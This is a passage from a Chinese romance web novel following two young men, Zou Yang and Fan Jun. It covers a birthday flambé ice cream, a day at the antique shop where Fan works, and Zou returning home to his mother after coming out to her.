“等着。”樊均说。 “嗯。”他点点头。 樊均下了楼。 邹飏摊在沙发上,盯着天花板上的灯出神。 刚才窗边的那个吻,现在开始慢慢返劲儿了。 他这会儿才发现,昏天黑地里,以为什么都不记得,其实脑子里什么都已经刻下来了,从开始,到结束,每一秒其实都记得。 此时此刻,像是打开了什么开关,一个个带着清晰感受的画面不断地从眼前闪过,每一帧都让他呼吸急促。 靠。 他起身走到窗边,打开了一扇窗,把脑袋探了出去。 兜头的北风从他脸上甩过,冷风直接顺着鼻子拍进了身体里,整个人这才算回过神来。 趴在窗口看了一会儿街景,他感觉自己快被冻透了,准备关窗的时候,看到樊均从街那边走了过来,手里拿着一袋不知道什么东西。 说给他做吃的,但其实偷偷溜出去现买? 邹飏赶紧想缩回屋里,就怕樊均看到他了尴尬。 但没等他动,樊均已经抬头看到了他。 毕竟就二楼,他这儿杵个脑袋,很容易被看到。 “干嘛呢?”樊均看着他,“不冷啊!” “……透气儿。”邹飏说。 “进去,关窗。”樊均说着推开门走进了店里。 邹飏关了窗,往沙发上一躺,感觉樊均好像并没有被发现的尴尬。 是买材料现做的吗? 小白脑袋扎在樊均身上,鼻尖贴着他一寸一寸地嗅着。 “好了,”樊均刚下来的时候急,就随便套了件外套,这会儿人都快冻废了,他把小白推回窝里,“一会儿吃完东西就带大黑和小飏哥哥下来跟你玩。” 小白很不情愿地退回了窝里,哼唧着趴下了。 樊均拿着一堆东西回到二楼。 “冷吗?刚都冻透了吧。”他看了一眼躺在沙发上的邹飏,把床上扔的电热披肩扔给了他。 “不冷。”邹飏拿过披肩盖在腿上,看着他手里的东西,“这都什么?” “吃的,”樊均用腿把小桌子勾到邹飏面前,把手里的东西一样样放到了桌上。 一个放着冰淇淋的盘子,两把小叉子,一瓶朗姆酒,一个量酒器,一把喷枪。 “我靠,”邹飏反应很快,盯着这些东西扫了一眼就抬头看着他,“火焰冰淇淋?” “嗯。”樊均拉上窗帘,坐到地毯上,“上回吃的那个西红柿鸡蛋盖饭冰淇淋不是没有火么。” “你刚就是去买这些了?”邹飏马上拿出了手机。 “嗯,买了个冰淇淋,”樊均拿起喷枪,“去隔壁甜品店问人家要了点儿蛋白霜,不过我挤得……有点儿难看。” “这些花纹吗,你挤的?”邹飏从镜头里看着冰淇淋,看上去就是一个倒扣的杯装冰淇淋,不过上面有些模糊的花纹。 “嗯,本来想让人家帮挤,”樊均笑笑,“不过那样我动手的部分就太少了……” “火焰呢?”邹飏把镜头对着樊均,慢慢拉近。 樊均挺上镜的,从镜头里这么看着,很性感…… 邹飏! 樊均把冰淇淋放到桌子中间,看了一眼镜头:“不知道能不能成功。” “开始。”邹飏说。 樊均手里的喷枪喷出了火焰,冰淇淋上面的那层白色花纹很快就被烧出了淡淡的咖啡色,看上去突然就变得立体了。 “好,安全起见,就不烧得那么全面了。”樊均把喷枪放到一边,拿起了酒瓶,“朗姆酒。” “多少度?”邹飏问,镜头从他脸上慢慢移到手上。 樊均夹着量酒器的手指非常性感…… 邹飏! “75度。”樊均往量酒器倒了点儿酒。 “当酒精用呢。”邹飏笑着说。 “对。”樊均把酒淋在了冰淇淋上,然后拿过喷枪,“要开始了。” “嗯。”邹飏慢慢把镜头拉远一些,把樊均和冰淇淋都带上了。 喷枪的火焰碰到冰淇淋时,一层蓝色的光瞬间从喷枪焰尖的位置铺出,轻盈而迅速地铺满了冰淇淋,若隐若现地跳动着。 “我靠,”邹飏说,“漂亮。” 樊均笑了笑,把冰淇淋盘子慢慢推到了他面前。 “说点儿什么。”邹飏说。 樊均愣了愣,盯着冰淇淋看了一小会儿才开口:“生日快乐。” 邹飏的手抖了一下,抬头从手机上方看着他。 “我们认识之后,你的第一个生日,”樊均也看着他,“没有亲口跟你说一句生日快乐,现在补一句吧。” “谢谢。”邹飏伸出手,掌心向着樊均。 樊均很快也伸手,贴在他掌心上,手指扣紧。 十多秒之后,火焰慢慢变小,最后消失。 邹飏的镜头最后停在樊均脸上,然后放下了手机。 樊均打开了旁边的竹灯,拿了把叉子给他:“吃吧。” “里面是个什么冰淇淋?”邹飏用叉子戳了戳冰淇淋。 “哈根达斯。”樊均说。 “……大手笔啊樊哥。”邹飏用叉子切下一块放进嘴里尝了尝,加上外面那层糖霜之后,冰淇淋口感更有层次了,居然很好吃。 他又切了一块:“好吃。” “吃两口就行了,”樊均说,“先冰上。” “为什么?”邹飏赶紧又切了块放进嘴里。 “空腹啊,想拉肚子么,”樊均拿开了盘子,“刚已经灌一肚子冷风了。” 邹飏啧了一声。 把东西都收拾好,剩下的冰淇淋放进了冰箱。 他俩带着大黑到了后院,让两个分别了半年的小家伙见面。 樊均抱着大黑,小白的脑袋整个埋在大黑身上,一边哼唧一边又闻又舔。 大黑作为一只猫,相对要比狗子平静一些,但也一直用爪子抱着小白的鼻子。 等小白平静一些之后,樊均把大黑放到了地上。 大黑在四周转了转,最后进了小白的窝里趴下了,小白立马也挤进了窝里,转了两圈之后用肚子贴着大黑也趴下了。 樊均蹲在狗窝面前看着,要确定大黑完全适应。 邹飏坐旁边的一块石碑上,看着樊均。 有种说不清的感觉。 除去脑子里的……情色因素,他现在看着樊均,有种很亲近的感觉。 比以往任何时候都亲近,比两个人挨着走的时候更亲近,比抓住樊均的时候更亲近,比在阳光下抱住樊均的时候更亲近…… 樊均突然转头,站了起来。 “嗯?”邹飏也跟着站了起来。 “有人进店,”樊均往店里走,“你没听到铃响吗?” “……响了吗?”邹飏愣了愣,店门上是有个金属的铃,有人推门进来就会叮铃一声,但他是真没听到。 樊均又倒了回来,伸手在他两边耳朵各打了个响指:“能听到吗?声音一样大吗?” “能,”邹飏笑了起来,“滚蛋。” 樊均手指在他脸上轻轻勾了一下,转身进了店里。 两个姐姐正在店里架子前,看着上面的一排瓶子一头罐子。 “早上好。”樊均打了个招呼。 “早,”一个姐姐指着架子,“有小一些的罐子吗,小口的,旧的那种。” “这边儿,”樊均把她带到柜台另一个架子前,“小的都在这儿。” “嗯……”姐姐盯着罐子慢慢挨个儿看了一遍,“好像……有没有更……” “有,”樊均说,“里面有一个我们老板自己留着的。” 小白和大黑团一块儿睡觉了,邹飏进了店里。 “做花器也可以,就这么摆着也行。”樊均正在茶桌边给两个姐姐介绍那个何川自留的罐子。 也不知道是不是真的自留,但的确放在茶桌上。 两个姐姐明显很感兴趣。 邹飏坐到了那天他来的时候樊均躺着的那张椅子上,往后一靠,很舒服。 一只眼睛看街,一只眼睛看着樊均。 樊均变了很多,以前给人上课,一小时也没几句话,现在能跟两个姐姐聊得有来有回。 邹飏有些感慨,不知道是樊均性格里本来就有这一面,还是在这里工作不得不有了这样的变化。 但很可爱。 这样的樊均非常迷人。 邹飏摸出手机,打开了相机,对着樊均。 正想拍照的时候,樊均抬头往他这边看了过来,愣了一秒之后飞快地冲他使了个眼色。 邹飏这才猛地回过神,镜头里还有两个姐姐。 他赶紧把手机放回兜里。 十分钟之后,姐姐买下了那个罐子,还有一个挺老的大漆香筒。 “您可以加一下我们店的微信,”樊均说,“到了好东西都会发的。” “嗯,行。”姐姐点头。 送走两个姐姐,樊均转身走到邹飏面前:“哎。” “嗯?”邹飏伸了个懒腰。 “你刚干嘛呢?”樊均递给他一颗奶糖。 “想拍你呢,”邹飏接过奶糖,剥了放进嘴里,“忘了旁边有客人了。” “吃早餐去,”樊均伸手,“十点多了,再不吃跟午饭都接上了。” “那就直接吃午饭呗。”邹飏抓住他的手,借着劲站了起来。 “不行,少吃一顿我会觉得很亏,”樊均说着穿上了外套,“走。” 邹飏跟他身后,出门的时候他抓着樊均外套往回拽了一下。 “嗯?”樊均回头。 邹飏往他嘴上亲了一下。 樊均应该是被吓了一跳,邹飏都能看到他瞳孔一瞬间放大。 “你大街上……”樊均往外面看了一眼。 “还在店里没出去呢。”邹飏说。 “那么大的玻璃,”樊均说,走出门外之后又看了他一眼,“你在外面要这样,提前点儿跟我说啊。” “干嘛。”邹飏笑了。 “心脏受不了。”樊均把暂时出门的牌子挂上了。 这会儿太阳已经完全出来了,没有风的时候整个人都晒得很舒服。 邹飏跟樊均并排走在铺着青石路面的街上,很久没有体会过的轻松感觉里夹杂着他从未体会过的愉快。 “一会儿把视频发给我。”樊均轻轻撞了一下他的肩。 “剪好了给你。”邹飏说。 “谁剪?”樊均转过头,“刘文瑞吗?” “我自己剪,”邹飏说,“这种活儿怎么能让别人干。” 樊均笑笑,伸手搂住了他的肩。 邹飏的胳膊也伸到了他腰后,但犹豫了一下还是放下了,街上人不多,但也不是没人,他多少还是有点儿不好意思的。 “胳膊,”他说,“拿开,换一下。” “嗯?”樊均胳膊拿开了,看着他。 “我来。”邹飏一抬胳膊搂住他的肩,用力收了一下。 樊均笑着叹了口气。 邹飏又收了一下胳膊:“瘦了啊,均儿。” “是么?”樊均想了想,“是瘦了点儿,十斤吧,这么明显吗?” “我刚摸你腰的……”邹飏说出口的瞬间就觉得自己脸烧了起来,“时候……发现的……” “邹飏。”樊均笑了起来。 “干嘛。”邹飏啧了一声。 “你真的很招人喜欢。”樊均说。 第72章 这家披萨店,樊均跟何川来吃过一次。 何川赞不绝口,樊均不知道是自己先天味觉失灵还是心情不好味觉失灵,总之那天没吃出个所以然来。 但这家店据说在商贸城开了十几年,生意一直很好,参考南舟坪那些老店,应该是好吃的。 他自己味觉失灵了。 这会儿时间卡在饭点中间,店里人不太多,他们坐到了后门旁边对着院子卡座上。 邹飏扫了码,把手机放在桌上,一手撑着额角,一手在手机上慢慢划拉着看菜单。 樊均因为味觉失灵,所以不打算自己点,邹飏吃什么他跟着吃就行,这会儿就靠在椅子上,看着邹飏。 从邹飏突然出现在店里,一直到现在,他总觉得自己还没有仔细看过邹飏,也许有,但就感觉没有。 就像现在这样,盯着邹飏,一点一点地从脑门儿,看到眉毛,眼睛,再到鼻梁,嘴唇,下巴……低头头,下巴看不到…… 这个角度邹飏格外好看,脸和手都很好看。 他的视线又移向邹飏撑着额角的左手,在腕骨上斜挂着的那条手链,衬得他格外性感。 就是这只手,刚才在他腰上…… 邹飏说了句什么,他没听见。 这个距离,环境相对安静,理论上邹飏只要不是说悄悄话,他是能听到的。 但他没听见。 “嗯?”他应了一声。 “你之前吃的是哪种?”邹飏抬起头看着他,眼镜滑到了鼻尖上。 有种说不上来的性感,介于清透明亮和诱惑之间。 “不知道。”他说,拿过桌上的柠檬水喝了一口。 “不知道?”邹飏愣了愣,垂下眼睛又看了看手机。 “不记得了。”他补充了一句废话。 邹飏抬眼看着他,左手小拇指往眼镜中间挑了一下,把眼镜架回了鼻梁中间:“你跟谁来吃的啊?” “何老板。”樊均说。 邹飏这个动作非常漂亮,指尖就像挑在了他某条神经上,心跳卡在嗓子眼儿气儿都有点儿喘不上来。 他偏开头清了清嗓子。 “那我随便点了,就玛格丽特吧,他家招牌,”邹飏把手机推到他面前,“还有这个焗面。” 樊均凑过去看了看:“没有……肉啊。” “嗯?”邹飏愣了愣,把手机转过来看了一眼,靠回椅子上笑了起来,“哎,再加个烤翅什么的呗。” “嗯。”樊均点点头。 点好餐,他俩就面对面坐着发呆。 旁边落地窗外面就是后院,做了一套水景,这会儿花草虽然有些萧瑟,阳光洒下来的时候还是挺美的。 但他俩都没怎么往外看。 樊均的手往邹飏那边伸过去,捏住了他左手的小拇指尖。 邹飏看着他。 他没说话,只是在指尖上一下下捏着,捏了一会儿又拽着指尖往自己这边儿拉。 “干嘛?”邹飏小声问,但还是伸着他的劲儿,趴到了桌上。 樊均忍不住先扫了一眼桌面,看是不是干净,但手是捏着邹飏指尖没舍得松开。 还好,桌子起码看上去是干净的。 “没。”他笑笑。 “想什么呢?”邹飏下巴架在自己胳膊上看着他。 “不知道,”樊均也趴到了桌上,把邹飏的手压在了自己胳膊下面。 “没想什么正经东西吧。”邹飏问。 樊均没说话,只是啧了一声。 服务员把他们点的东西送过来的时候,他俩还趴在桌上,没来得及坐好。 服务员站在桌子边儿上问了一句:“放哪儿?” 樊均直起身,松开了邹飏的手。 商贸城果然还是没有市中心有服务意识,服务得这么急切。 “放他脑袋上。”邹飏收回胳膊,也靠回了椅子上。 服务员笑了起来,把盘子放到了桌上:“刚出炉的,当心烫。” “谢谢。”邹飏说。 服务员走开之后,他才“嘶”了一声,开始甩左手。 “麻了?”樊均伸手。 “嗯。”邹飏不知道什么意思,但还是把手伸了过去。 樊均抓住他的手,握紧了,突然开始上下甩。 胳膊上的麻劲儿瞬间变得疯狂起来,酸麻得邹飏眼泪差点儿要下来,右手撑着桌子,咬牙切齿:“我靠我靠我靠……” “好了吧。”樊均放开他的手。 邹飏收回胳膊,长长舒出一口气:“这要换了刘文瑞,已经死这儿三回了。” 樊均笑了起来:“这么残暴。” 邹飏感觉自己一瞬间体会到了樊均左手使不上劲的痛苦。 “你胳膊,”他想了想,“平时都什么时候去治疗?” “都下午,早上人多。”樊均说。 “下次什么时候去?”邹飏问,“我陪你去吧。” “不。”樊均说。 “嗯?”邹飏愣了。 “不用,”樊均看着他,“挺无聊的,而且我也……不想让你看那些。” 邹飏没说话,过了一会儿才点了点头:“行吧。” “吃吧,”樊均把披萨推到他面前,“不饿吗?” “饿。”邹飏拿过桌上的湿巾擦了擦手,拿起一块披萨咬了一口,“嗯……” “不好吃?”樊均马上也拿了一块。 “好吃,”邹飏挑了挑眉毛,“有点儿意外,比那天的咖啡和冰淇淋强多了。” 樊均笑着也咬了一口。 “平时你都怎么吃饭?”邹飏问。 “何川在就跟他一块儿吃,店里,或者出来,”樊均说,“他要没来,我就自己解决。” “他每天都来吗?”邹飏又问。 “差不多吧。”樊均说。 “哦。”邹飏没说话,低头吃披萨。 “怎么,想偷东西吗?”樊均问,“店里有监控,二十四小时不间断。” 邹飏笑了起来:“神经病。” 樊均笑着也咬了一口披萨。 “想偷情。”邹飏说。 樊均呛了一下,转头咳了半天,喝了口水:“你是张嘴就说啊。” “闭嘴怎么说。”邹飏拿了个鸡翅。 店里的确有监控,毕竟这一屋子老物件,算不上是什么古董,但也是费了不少劲弄来的。 除了二楼樊均的那个小屋,别的地方基本都有监控覆盖。 “何川总看监控吗?”邹飏蹲在后院,看小白和大黑吃饭。 小白几口就把狗粮吃光了,坐在旁边耐心地看着大黑吃,大黑吃一口要嚼八百多下,非常磨叽,流浪了这么久,进食速度也没有一点儿提升。 “平时不看,谁没事儿盯着监控看啊,”樊均笑了笑,“里里外外就看我在这儿转悠了。” “嗯。”邹飏应了一声。 樊均转身准备进店里。 邹飏突然从地上一跃而起,一把抓住了他的胳膊,往回拽了半圈儿。 后院的地面是用老青砖码的,不怎么平,樊均差点儿让他给拽倒了,往后错了半步靠在了墙边。 没等他出声,邹飏已经扑了过来,右臂横着往他胸口一拦,把他压到了墙上。 “邹……”樊均感觉余光里能看到小白震惊的眼神。 话都没来得及说,邹飏左手挑着眼镜往上一抬,凑过来很用力地吻在了他嘴上。 樊均瞬间感觉四周什么都消失了,声音,景物,全都变成了一片模糊,跟心跳同步震动着。 舌尖轻触的同时,邹飏的手直接伸进衣服摸到了他腰侧,狠狠地抓了一把。 邹飏的手很凉,但所到之处带起的颤栗却带着温度,烧得喘息都是滚烫的,烧得人脑子发晕…… 小白叫了一声,对着店里后门的方向。 邹飏猛地回过神,松开了樊均,往墙上撑了一把,借着劲儿很快地退开了一步,抬手勾了一下被推上去眼镜,眼镜落回了鼻梁上。 “何川来了。”樊均低声说,抬手蹭了一下嘴角,快步推开后门进了店。 “……好狗,”邹飏垂下手,在小白脑袋上拍了拍,“乖狗。” 大黑还在细嚼慢咽,他又蹲下摸了摸大黑的脑袋:“好猫。” 为了不显得太不自然,邹飏在樊均进店一会儿之后,也进了店里。 何川没在后门这边儿,估计进了店就去里间泡茶了。 邹飏过去的时候,樊均正跟他说着话。 “邹飏来,喝点儿茶,”何川说,“樊均说你会喝茶,我也估计你是会喝的,还盯上我那点儿冰岛了呢。” 邹飏看了樊均一眼,有些心虚地也蹭了蹭嘴角,又低头看了看自己的衣服。 衣服是整齐的,樊均没跟他似的,上来就往人衣服里摸…… 他赶紧又看了一眼樊均的衣服,外套脱掉了,衣服也是整齐的。 “你是不是平时喝不着什么好茶,”邹飏脱了外套,走到茶桌边,“喝你点儿冰岛你还煎心且衔泪了……” “我靠,”何川看着他,“张嘴就来啊。” “闭嘴也来不了啊。”樊均说。 “喝茶!”何川笑了起来,“对了,我那天做的香点上。” 樊均从架子上拿了香,点着了之后熟练地捏着香,从指缝中轻而快地一拉,灭掉了香头上的火,把香放到了香插上。 邹飏盯着他的手,看得有些出神。 “味道怎么样?”何川问。 “嗯?”邹飏回过神,点了点头,“好闻。” “一会儿送你一筒。”何川说。 “还有那个屋脊兽。”邹飏说。 “哎,记着呢,一会儿都拿走。”何川说。 “谢谢何老板。”邹飏说。 喝了两口茶,何川看着桌面问了一句:“那个瓶子呢?” “卖了,”樊均说,“都没还价。” “可以啊,”何川立马起身,到旁边的架子前踅摸了一会儿,拿了一个差不多大小的瓶子,放到了桌上,又拿过一串菩提珠子绕在了瓶口挂着,“这个瓶子也不错,年份高……” 老板自留款瓶子+1。 樊均这份工作说起来其实还挺不错的,如果不出去跑的话,基本就是在店里待着,有客人来了接待一下,别的时间里就是焚香不沐浴,但喝茶。 偶尔还会有旁边店铺的老板过来,一帮人坐茶桌边,焚香不沐浴,但喝茶聊天。 何川这人人缘不错,中午甚至有人端着一锅土鸡过来一块儿吃饭。 邹飏靠在窗边的躺椅上,很舒服,虽然他希望这些人都赶紧走,只留下他樊均两个人…… 但他也不是时刻都沉迷情色的。 毕竟这是樊均的工作,樊均在上班。 而他只要待在这里就很满足了。 亲了抱了摸了咬了…… 能待在同一个空间里,待在樊均的生活里,听到他的声音,感觉到他的气息,就是一种享受。 快晚饭的时候刘文瑞发了消息过来。 【瑞思拜】? 【邹yang】? 【瑞思拜】还认识我谁吗 【邹yang】刘拜拜 【瑞思拜】心情挺好? 【瑞思拜】哔——朋友卡还续不续了? 【邹yang】开学再续 【瑞思拜】你大爷的邹羊你就是个纯种恋爱脑!滚滚滚 【瑞思拜】he ~~tui! 邹飏笑了起来,把电话打了过去。 “he~tui!”刘文瑞接起了电话。 “这么气。”邹飏说。 “不气,”刘文瑞说,“我一会儿还唱歌呢。” “没出去玩吗?”邹飏笑着问。 “不用你管,虚情假意,”刘文瑞说,“过两天知越他们回来了我会彻底把你遗忘。” “明天请你吃饭,”邹飏说,“昨天刚一块儿吃完饭……” “今天请,”刘文瑞说,“昨天吃了饭跟今天有什么关系,一个寒假你都半死不活见不着人!连着见我两天就烦了是吧!” “明天。”邹飏说。 “你是不是还跟他在一块儿呢?”刘文瑞问。 “嗯。”邹飏看了一眼在外间跟顾客说话的樊均,中间这道帘子被小白撕掉之后还没换新的,挺好。 “今儿晚上也不回了吧。”刘文瑞又问。 “……嗯。”邹飏有些犹豫。 他肯定是想留在这儿的,他现在恨不得挂在樊均身上。 但他不知道老妈那边的情况怎么样了,今天一早说完那些话之后,他脑子里就再也没有想过这些,现在猛地有些不安。 他是倒是爽了。 老妈和吕叔不知道怎么样。 “你妈现在什么态度啊,”刘文瑞问,“昨天感觉她有点儿想法……” “早上摊牌了。”邹飏说。 “什么?”刘文瑞问。 邹飏没说话。 “什么?我操,”刘文瑞语速开始变快,“我操,你说什么?是我理解的那个意思吗?” “嗯。”邹飏应了一声,莫名其妙地感觉自己手上汗毛立了起来。 本来早上出门都没有什么太强烈的感觉,这会儿被刘文瑞的情绪一带,他后知后觉地开始激动。 “我操!”刘文瑞咬牙切齿的,“这么大的事儿!这么大的事儿!你大爷的你都没跟我放个屁!你屁都没给我崩一个啊邹飏,绝交吧真的……” 樊均送走客人,转身看了他一眼,正要走过来,手机响了。 “我们认识多少年了,你爸出轨我都是第三个知道的呢,”刘文瑞还在他耳朵边儿念叨,“现在这事儿我都……” 樊均冲他笑了笑,一边接电话一边走了过来:“吕叔。” 吕叔? 是老妈有什么事儿吗? 邹飏立马盯着樊均。 “那你妈怎么样?什么态度?”刘文瑞问,“你晚上不回去不会是让她撵出家门了吧……” “嗯,在店里,”樊均走到邹飏身边站着,手在他脑袋上轻轻抓了抓,“一直都在……嗯,珊姐……那她没说什么吗?嗯,我知道,嗯……” 邹飏仰头看着樊均,口型问了一句。 我妈怎么了? “珊姐回家了,”樊均挂了电话,低声说了一句,“吕叔意思是……你要不要回去看看,陪陪她,毕竟……” “嗯。”邹飏立马应了一声,打断了电话里还在念叨的刘文瑞,“晚上去我家吃饭吧。” “啊?”刘文瑞愣了,“这么突然?” “一会儿我回家吃饭,我妈在家……”邹飏说。 “怕尴尬是吧,拉上我缓和一下气氛。”刘文瑞说。 “……还是你懂。”邹飏说。 “我是什么很贱的人吗?”刘文瑞问。 “你是我铁子。”邹飏说。 “我是什么很贱的铁子吗?”刘文瑞问。 “别废话了带点儿菜过去。”邹飏说完挂掉了电话,看着樊均,“我妈还好吗?突然回家了?” “应该还好,吕叔说看着还行,但毕竟这个事儿对她来说……”樊均拉了张椅子坐到他旁边,低声说,“不是什么很高兴的事儿。” “嗯,我回去陪陪她。”邹飏说完这句话突然就开始舍不得。 他抓住樊均的手,一下下捏着。 “她这几天肯定不好受,”樊均说,“总得缓缓,你后天不是还想跟我出差么……” 邹飏眉毛扬了扬,看着他。 “去吗?”樊均问。 “去。”邹飏说。 “那这两天陪陪她吧,别让她觉得你话往那一扔,就什么都不管了。”樊均说。 “嗯,”邹飏轻轻叹了口气,“我知道。” “一会儿我送你回去。”樊均说。 “别了,我打个车,”邹飏笑了笑,“你昨天休息,今天我又在这儿泡了一天,一会儿何老板遛达回来发现店又空了……太欺负何老板了。” “在这儿泡着正常,他这儿跟个聚点似的。”樊均笑笑。 “明天要没什么事儿我就过来,”邹飏说,“不过刘文瑞肯定会跟着。” “没事儿。”樊均说。 “亲我一下。”邹飏说。 樊均顿了顿。 左边落地窗,右边摄像头,邹飏也知道这个要求难度有点儿高,但他也没收回。 樊均凑过来在他嘴角亲了一下。 在他准备退开的时候,邹飏抬手捏住了他的下巴,往回带了一下,亲了亲他唇上那道疤。 第73章 邹飏拎着个装着小屋脊兽的布兜子转进小区的小路,一眼就看到前面提着好几个打包盒的刘文瑞。 他吹了声口哨。 “he~tui!”刘文瑞回头的时候看都没看就先tui了他一下。 “没完了啊!”邹飏笑着说。 “挺愉快?”刘文瑞打量着他。 “还成。”邹飏走到楼道口,往旁边墙上晃了晃。 看着人脸识别那个屏幕上的自己时,稍微有一些吃惊,笑得的确很愉快。 “行吧,”刘文瑞叹气,“说真的,挺长时间没见你这么笑了。” “是么。”邹飏看着电梯上慢慢变化着的数字。 这几个月以来,他对所有的数字都有些敏感,每次看到,都会一阵难受。 他好像突然明白自己为什么这两天像疯了一样一秒不停地想要盯着樊均,想要在有他的范围里呼吸。 电梯上的这些数字,往下终点是-1,往上终点是19。 手机上的时间,每天都会走到00:00。 公交车上的红点,每灭一颗,就离目的地更近一站,宿舍里的人每复习一天,日历上的日期就离某次考试更近一天…… 或远或近,或长或短,似乎所有的数字都有一个目的地,只有他的等待没有目标也没有终点。 虽然这些都已经结束,这种无望的等待留下的痕迹却没有立刻消失,每次无意中感受到时,还会心有余悸,接着是长长地松一口气。 “这什么玩意儿?”刘文瑞走进电梯,看着他手里拎着的纸袋。 “从何川那儿拿的,”邹飏晃了晃袋子,“一个屋脊兽,老房子上拆下来的。” “樊均才干多久啊就开始往回捞东西了?”刘文瑞立刻来了兴致,“给我也弄一个啊,我放我家门口。” “我买一个给你,这玩意儿不贵,几百块。”邹飏说。 “口气不要这么大,”刘文瑞说,“你现在不是大款了,还有一年时间,你上班前得节衣缩食……” “我是有存款的人。”邹飏说。 刘文瑞顿时没了声音,对于月底看着手机余额嗷嗷待哺的人来说,“有存款”三个字是致命一击。 “你大爷!”刘文瑞说。 “送你东西你骂我。”邹飏说,“东西还要不要了。” “要。”刘文瑞没有犹豫。 老妈果然在家,看到邹飏和刘文瑞一块儿进门,愣了半天才开口:“你俩怎么跑回来了?” “吃饭啊阿姨,”刘文瑞拎着手里的袋子就进了厨房,“我带菜了,都熟食,煮个饭就行,煮点儿饺子也行……” “你怎么还买菜,放厨房去吧……”老妈走过来要接邹飏手里的袋子,“我以为你今天不回来呢,饭菜都没有准备。” “重,”邹飏把袋子放到地上,笑了笑,“所以我让刘文瑞带菜了。” “这什么啊?”老妈看着袋子。 “是一个屋脊兽,”邹飏把屋脊兽拿了出来,“是……何川送我的。” 虽然事儿已经挑明了,但说出跟樊均有关的字眼时,哪怕只是提一嘴樊均的老板,他还是会有些莫名其妙的心虚。 “哦。”老妈点点头,“放哪儿啊?” “阳台,门口,都行吧。”邹飏说。 “那放阳台吧,搁门口我怕让人给顺走了。”老妈说。 邹飏笑笑:“行。” 厨房里清锅冷灶的,就一个装了水的小锅放在那儿,估计是打算煮点儿面条,但也没看到肉和菜。 “你吃得太随便了吧。”邹飏小声说。 “过年吃得油腻,也吃不下什么不随便的,”老妈笑笑,“一个人也懒得弄了。” 邹飏很明显地能感觉得到,他回来老妈很开心,在厨房里处理刘文瑞带来的熟食时叮叮当当的很热闹。 【邹yang】还好今天回来了,我妈挺高兴 【樊】过两天她还去南舟坪的话,出差的事先不要跟她说了,反正也不知道你在哪 【邹yang】嗯 “报备呢?”刘文瑞过来往沙发上一倒,挤到了他身边。 “不去帮忙吗?”邹飏扫了他一眼。 “我是客人,你说这话好意思么,”刘文瑞站起身,“心寒。” “滚。”邹飏往他屁股蹬了一脚,也站了起来,跟他一块儿进了厨房。 老妈做饭做菜很利索,把熟食加工了一下,再煮了一锅饺子,没多大一会儿就可以吃饭了。 有刘文瑞在,邹飏和老妈之间就没那么尴尬。 邹飏知道老妈暂时不会再提他和樊均的事儿,需要自己慢慢消化,但如果今天晚上真是她一个人待在家里,她不知道能消化出多少有的没的。 他回来了,老妈就会安心些,吃完饭收拾完,甚至还有心情煮了点儿果茶给他和刘文瑞,才拿着手机回了屋里。 邹飏也回了自己屋,躺床上准备把火焰冰淇淋的视频剪一下给樊均。 刘文瑞端着果茶进了屋,把果茶往桌上一放,转身就想往床上蹦。 “你试试。”邹飏一指他。 刘文瑞回手打开了他衣柜:“我还有衣服在你家吗?” “不知道,有件T恤吧。”邹飏在屏幕上慢慢拉着进度条。 “穿你的吧,”刘文瑞拿了件他的T恤出来,想想又停下了动作,“行吗?” “嗯?”邹飏看着他,“你这么多年穿我衣服穿少了吗现在想起来问了?” “我操,”刘文瑞也看着他,“我现在不是要避嫌吗!” “你非要我今天跟你吃饭的时候怎么不避嫌,”邹飏啧了一声,“赶紧的,换了衣服过来帮我看一下……这个怎么弄。” “视频吗?”刘文瑞快速地换了他的T恤,往床上一蹦,抓过他的手机。 邹飏没怎么自己剪过视频,折腾了一会儿也不知道怎么弄,说是不用刘文瑞,但其实还是得找他。 不过刘文瑞把手机拿走的瞬间,他突然尴尬起来,这种二人世界私密视频……虽然也不是特别私密都穿着衣服呢…… “我操,”刘文瑞说,“樊均很牛逼啊,这都能在家复制?” “……嗯。”邹飏应了一声,往手机上扫了一眼,“赶紧的,别看了,快剪……” “外行不要瞎指导,”刘文瑞皱着眉,“我不看怎么剪!” “我前面那些废话不要声音,就留后面他那句生日快乐,”邹飏说,“别的弄点儿音乐……” “别指导我!”刘文瑞瞪了他一眼。 “你大爷,甲方基本需求总得说清吧!”邹飏说。 刘文瑞还是瞪着他:“不要吵我!再逼逼自己剪!” “嗯。”邹飏应了一声。 “我用自己手机剪,”刘文瑞把视频发到了他自己手机上,把手机扔回给邹飏,“谈恋爱去吧,tui!” 邹飏笑了笑,拿过手机,也没去谈恋爱。 刚樊均发的朋友圈看得出来,店里一帮人,好像是有熟客带了要装修的朋友过去挑货,估计这会儿正忙着。 他点开了樊均的照片,修照片他还是拿手的。 ……啊。 谈恋爱。 “操,”刘文瑞在旁边感慨了一声,“他这生日快乐真是猝不及防啊,大爷的,好感人。” “闭嘴剪。”邹飏说。 “这不得花钱买个音乐配上啊……”刘文瑞说。 邹飏没说话,盯着自己屏幕上的樊均。 “今天怎么突然跟你妈说了?”刘文瑞问。 “我妈突然找樊均说的,”邹飏低声说,“还把我叫过去了……” “我靠。”刘文瑞转头看着他,“你妈这么……牛逼吗?” “嗯。”邹飏看了一眼卧室门,低声把早上的事儿快速说了一遍,不说不知道,说完才发现自己手指都绷紧了。 每回忆一遍都是处刑。 “……这换我已经死在南舟坪了。”刘文瑞说。 “我吓得顾不上死了。”邹飏把手机壁纸换成了刚修好的樊均的照片,本来想把锁屏也换了,但犹豫了一下还是忍住了。 “好了,”刘文瑞把剪好的视频发给了他,“那你俩这就算是……没有阻碍了?” “没有外部阻碍了吧。”邹飏点开视频。 “内部还有什么?”刘文瑞马上问。 “说不清,”邹飏看着视频,“我说陪他去医院复健他都不让。” “那肯定介意啊,他本来耳朵就……现在加上胳膊,”刘文瑞叹了口气,“基本就废了,肯定不愿意……” “会不会说话。”邹飏斜了他一眼。 “我会不会说话你自己有数,我现在不是跟你说么,”刘文瑞说,“再说了,这就是他的真实想法,他那会儿在医院不让你再去找他,这不就是个重要原因么,他这情况,以后怎么办,他比咱们年纪大,经的事儿也多,想得肯定也多。” “那现在还不是在一起了!”邹飏转了转手机。 “在一起是太……喜欢你了,我操好肉麻受不了,”刘文瑞搓了搓胳膊,“但问题并没有解决,对于他来说,这些事实没有改变,压力更大了还。” 邹飏没说话,枕着胳膊轻轻叹了口气。 刘文瑞虽然不靠谱,但这话说的的确没错。 “不过先不用管这些,好不容易在一起了,”刘文瑞也枕着胳膊,“先开心了再说,总比我们这几个没尝过爱情咸淡味儿的强。” “你不是都分俩了么。”邹飏把视频和修好的照片都发给了樊均。 “你能不能行了!”刘文瑞踢了他一脚。 一晚上刘文瑞都沉浸在兄弟谈恋爱了的喜悦和兄弟谈恋爱了对我弃如敝履的悲痛中,情绪很复杂。 